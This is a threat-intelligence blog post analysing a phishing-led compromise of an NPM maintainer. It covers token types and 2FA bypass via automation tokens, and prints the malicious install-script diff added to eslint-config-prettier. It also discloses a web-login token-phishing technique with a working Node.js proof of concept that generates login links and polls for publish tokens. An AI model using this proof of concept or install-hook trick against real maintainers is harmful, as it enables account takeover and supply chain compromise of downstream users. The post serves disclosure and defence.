From Phish to Package: NPM Supply Chain Attacks
At the end of last Friday, the maintainer of a popular NPM package was compromised through a phishing attack, leading to the hasty deployment of the Scavenger malware family (T1195.001).
In this article, we will piece together the various components that were involved and a possibly overlooked authentication primitive that can be re-purposed for "device code"-esque phishing.
For a detailed analysis of the malware sample, we recommend reviewing Install Linters, Get Malware - DevSecOps Speedrun Edition that covers both the loader and stealer deployed through this supply chain attack.
Anatomy of a Supply Chain Attack
The Scavenger Supply Chain Attack began with a maintainer receiving a phishing email directed at a typo-squatted domain npmjs[.]com
.
Upon our initial investigation, we did not notice that it was in fact typosquatting and as a result we dug into the authentication strategies available for NPM, more on that later.
Reconnaissance
The attack likely began with the adversaries identifying the emails of maintainers of popular packages (T1589.002). To view the metadata for a package, which includes the email addresses of the maintainers, the adversaries likely leveraged npm view <package>
.
Maintainers of a package will have their email addresses exposed through the metadata of the packages they publish. When you sign up to npmjs.org
they note themselves:
Your email address will be added to the metadata of packages that you publish, so it may be seen publicly.
1npm view eslint-config-prettier23eslint-config-prettier@10.1.8 | MIT | deps: none | versions: 8945maintainers:67- jounqin <adm[..REDACTED..]me>8- lydell <si[..REDACTED..]om>9- thorn0 <ge[..REDACTED..]om>10
Resource Development
The adversaries set up a domain to typosquat npmjs.org
at npnjs.com
. Additionally, they set up the infrastructure and developed the loader and credential stealer. For more information on the technical details of the malware sample - we refer you back to the deep dive on the malware sample.
Initial Access
While we did not have access at this time to the phishing page or the content - based on publicly available information from the compromised maintainer, the adversaries created a new Automation Access Token.
There are 3 types of legacy Access Tokens:
- Read-Only
- Publish
- Automation
If 2FA is required either at an account level for write-actions (such as publishing) or at the package level, then a publish
token will still require 2FA. However, an automation
token will not require 2FA. However, at the package level there are three levels of security available for a package:
- No 2FA
- Require 2FA OR Automation/Granular Access Token (bypass 2FA requirements)
- Require 2FA and disallow tokens
Naturally, the most secure option is the latter - but likely lacks adoption due to its inconvenient nature.
For the adversary to have been successful, the repository likely would have been configured with the 2nd level of security - requiring 2FA or the usage of Automation tokens to bypass this requirement. When there are conflicting options at the account and package level, the most secure configuration takes precedence.
Supply Chain Compromise
By default, legacy access tokens on NPM do not expire - providing a powerful backdoor for the adversary to read private packages if any, and manipulate and backdoor public packages in a Supply Chain attack (T1195.001).
In the GitHub issues of some of the targeted packages - individuals noted the suspicious changes as shown in the packaged diff for eslint-config-prettier.
1+ "scripts":{2+ "install":"node install.js"3+ },4[...REDACTED...]5+ "install.js",6+ "node-gyp.dll",7
With these changes the adversaries were able to deploy both their initial loader, and the subsequent info-stealer that primarily targeted Chromium: exfiltrating sensitive data including extension information and histories.
Phishing For NPM Tokens
While the phishing attack leveraged typo-squatting to fool the end user, we did not notice this typo-squat and instead thought it was a new technique. In so doing, we stumbled across a primitive that can be all too simply re-purposed to phish for access tokens with a publish
scope - offering both a non-expiring backdoor, and by default a mechanism to publish and backdoor packages.
Understanding Authentication Mechanisms
The primary way to authenticate with the npm
command-line utility is through the npm login
sub-command with one of the two strategies available:
- Legacy - Username/Password + OTP
- Web - Default option
Once you authenticate with npm login
the CLI tool will receive a legacy token with the publish
scope and store it in ~/.npmrc
for further use.
The first is the legacy flow, which requires entering a username and password - and then if MFA is configured, entering the OTP code sent to the associated email. This authentication flow is likely very familiar if you have ever logged in to npmjs.org
through the UI.
1npm notice Log in on https://registry.npmjs.org/2Username: radkawar3Password:45npm notice Please check your email for a one-time password (OTP)6This operation requires a one-time password.7Enter OTP: 7806877489Logged in on https://registry.npmjs.org/.10
The second option that is used by default is a lot more interesting:
1 npm login2npm notice Log in on https://registry.npmjs.org/3Login at:4https://www.npmjs.com/login?next=/login/cli/a1983b1b-2f33-4822-b91c-f622e589c1245Press ENTER to open in the browser...67Logged in on https://registry.npmjs.org/.8
As with device code phishing, the core issue lies in that an attacker can arbitrarily generate a login link and send it to a maintainer. Not knowing any better, the maintainer sees the trustworthy domain npmjs.com
and logs in, entering any 2FA codes required - and then at the end they are presented with a screen that briefly mentions the reason the token was requested.
At no point does NPM warn or provide any sort of indicator that the token was requested on a different machine or from a different IP address.
These access tokens by default will not expire. As previously discussed, 2FA will only be required if either the account settings or the package settings demand it when publishing with an access token scoped for publish
.
While it's possible to leverage the npm login
utility - we explored the authentication implementation in the (auth.js) that delegated this implementation to the npm-profile
.
After reviewing this information, we produced a proof of concept that allows users to generate the login link as seen before. These URLs are short-lived and will expire after a period of time.
Proof of Concept
The following diagram illustrates the NPM web authentication flow that can be exploited for token phishing:
Running our proof of concept:
1./poc.sh23https://www.npmjs.com/login?next=/login/cli/283a2bea-2c01-46bb-b96b-abfd9474b4a74npm_[..redacted]56cat ~/.npmrc7//registry.npmjs.org/:_authToken=npm_[..redacted]8
1#!/usr/bin/env node23const https = require("https");4const os = require("os");56function httpsRequest(options, data = null) {7 return new Promise((resolve, reject) => {8 const req = https.request(options, (res) => {9 let body = "";10 res.on("data", (chunk) => (body += chunk));11 res.on("end", () =>12 resolve({13 statusCode: res.statusCode,14 headers: res.headers,15 body: body ? JSON.parse(body) : null,16 })17 );18 });19 req.on("error", reject);20 if (data) req.write(data);21 req.end();22 });23}2425async function main() {26 const userAgent = `npm/11.4.2 node/${process.version} ${os.platform()} ${os.arch()} workspaces/false`;27 const headers = {28 "user-agent": userAgent,29 "npm-auth-type": "web",30 "npm-command": "login",31 authorization: "Bearer",32 Accept: "*/*",33 };3435 const {36 body: { loginUrl, doneUrl },37 } = await httpsRequest(38 {39 hostname: "registry.npmjs.org",40 path: "/-/v1/login",41 method: "POST",42 headers: {43 ...headers,44 "content-type": "application/json",45 "Content-Length": "2",46 },47 },48 "{}"49 );5051 console.log(loginUrl);5253 const url = new URL(doneUrl);54 while (true) {55 const res = await httpsRequest({56 hostname: url.hostname,57 path: url.pathname + url.search,58 method: "GET",59 headers,60 });6162 if (res.body?.token) {63 console.log(res.body.token);64 break;65 }6667 await new Promise((r) =>68 setTimeout(r, (parseInt(res.headers["retry-after"]) || 3) * 1000)69 );70 }71}7273main().catch(console.error);74
Want more insights like this?
Related Articles
Modern Adversary TTPs: The Rise of 'Read Teaming'
An insider's perspective on why current security products fail to stop modern red teams and sophisticated attackers, and what security teams need to know.
Threat Intelligence in Cyber Deception: A Planning Guide
How threat intelligence transforms cyber deception from guesswork into strategic planning - understanding what attackers actually do and why it matters.
Understanding Your Adversary: The Human Side of Threat Intelligence
How recognizing attackers as goal-driven individuals transforms defensive philosophy. Learn why simple, psychologically-grounded deceptions outperform technical complexity.